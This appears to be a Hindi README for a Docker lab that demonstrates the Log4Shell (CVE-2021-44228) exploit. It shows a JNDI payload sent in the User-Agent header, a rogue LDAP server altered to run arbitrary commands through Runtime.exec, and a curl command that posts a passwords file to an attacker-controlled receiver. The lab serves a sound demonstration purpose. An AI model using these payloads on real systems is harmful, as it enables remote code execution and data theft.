
CVE-2021-44228 (Log4Shell) शोषण का डॉकर-आधारित प्रदर्शन, जिसमें एक कमजोर जावा सर्वर, दुर्भावनापूर्ण LDAP सर्वर, और एक हमलावर-नियंत्रित रिसीवर को डेटा एक्सफिल्ट्रेशन शामिल है।
CVE-2021-44228 का एक सरल प्रदर्शन जो एक असुरक्षित सर्वर से एक हमलावर द्वारा नियंत्रित वेब सेवा में डेटा स्थानांतरित करता है। सभी घटक Docker के माध्यम से चल रहे हैं।
यह एक मानक Java सर्वर है जो पीड़ित के रूप में कार्य करता है। इसमें चल रहे हैं:
8u111यह सर्वर इस कॉन्फ़िगरेशन का उपयोग करके VULNERABLE है।
अतिरिक्त जानकारी:
/logging पर एंडपॉइंट (GET) Log4J का उपयोग करके user agent को लॉग करेगा/foo/passwords.txt मौजूद है (हमलावर का लक्ष्य)passwords.txt की सामग्री:
my secret
यह एक मानक Java सर्वर है जो हमलावर के डेटा संग्रहकर्ता के रूप में कार्य करता है। इसमें चल रहे हैं:
17अतिरिक्त जानकारी:
receiver पर एंडपॉइंट (POST) अनुरोध निकाय को लॉग करेगायह rogue-jndi द्वारा संचालित एक LDAP सर्वर है।
इसकी ExportJava क्लास को संशोधित किया गया है ताकि -c फ्लैग के माध्यम से पारित कमांड निष्पादित हो सकें।
public ExportObject() {
try {
Runtime.getRuntime().exec(Config.command);
} catch(Exception e) {
e.printStackTrace();
}
}
जब असुरक्षित सर्वर द्वारा अनुरोध किया जाता है, तो यह एक क्लास के साथ प्रतिक्रिया देगा जो इंस्टेंशिएट होने पर निम्नलिखित कमांड चलाता है:
curl -XPOST http://172.18.18.11:8082/receiver --data-binary @/foo/passwords.txt
यह प्रभावी रूप से /foo/passwords.txt की सामग्री को malicious receiver के तैयार एंडपॉइंट पर पोस्ट करेगा।
./build.sh
./start.sh
curl -A '${jndi:ldap://172.18.18.10/o=reference}' localhost:8081/logging
docker logs --timestamps docker_malicious-receiver_1
passwords.txt फ़ाइल की सामग्री होनी चाहिए।./stop.sh